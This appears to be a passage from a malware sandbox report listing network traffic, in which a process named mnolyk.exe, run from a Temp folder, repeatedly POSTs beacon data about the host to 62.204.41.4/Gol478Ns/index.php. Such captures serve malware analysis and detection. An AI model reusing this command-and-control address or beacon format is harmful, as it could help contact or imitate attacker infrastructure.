Feb 6, 2023 18:37:36.011137009 CET	815	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
356	192.168.2.7	50084	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:36.184166908 CET	816	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:36.250062943 CET	816	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
357	192.168.2.7	50085	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:36.424990892 CET	817	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:36.505920887 CET	817	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
358	192.168.2.7	50086	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:36.704777002 CET	818	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:36.768732071 CET	818	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
359	192.168.2.7	50087	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:36.937901020 CET	819	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:37.001657009 CET	819	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.2.7	49760	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:06.332166910 CET	467	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:06.398762941 CET	468	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
360	192.168.2.7	50088	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:37.171595097 CET	820	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:37.239892006 CET	820	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
361	192.168.2.7	50089	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:37.423383951 CET	821	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:37.487719059 CET	821	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
362	192.168.2.7	50090	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:37.652978897 CET	822	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:37.717353106 CET	822	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
363	192.168.2.7	50091	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:37.888526917 CET	823	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:37.953670025 CET	823	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
364	192.168.2.7	50092	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:38.122805119 CET	824	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:38.188714027 CET	824	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
365	192.168.2.7	50093	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:38.357594013 CET	825	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:38.421977997 CET	825	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
366	192.168.2.7	50094	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:38.590483904 CET	826	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:38.656254053 CET	826	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
367	192.168.2.7	50095	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:38.824933052 CET	827	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:38.888752937 CET	827	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
368	192.168.2.7	50096	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:39.062078953 CET	828	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:39.127321959 CET	828	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
369	192.168.2.7	50097	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:39.294548035 CET	829	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:39.360487938 CET	829	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.2.7	49761	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:06.571219921 CET	469	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:06.636575937 CET	469	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
370	192.168.2.7	50098	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:39.529541016 CET	830	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:39.593358040 CET	830	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
371	192.168.2.7	50099	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:39.765161037 CET	831	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:39.828778028 CET	831	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
372	192.168.2.7	50100	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:39.998888969 CET	832	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:40.063755035 CET	832	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
373	192.168.2.7	50101	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:40.235234022 CET	833	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:40.300606012 CET	833	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
374	192.168.2.7	50102	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:40.471333027 CET	834	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:40.537971020 CET	834	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
375	192.168.2.7	50103	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
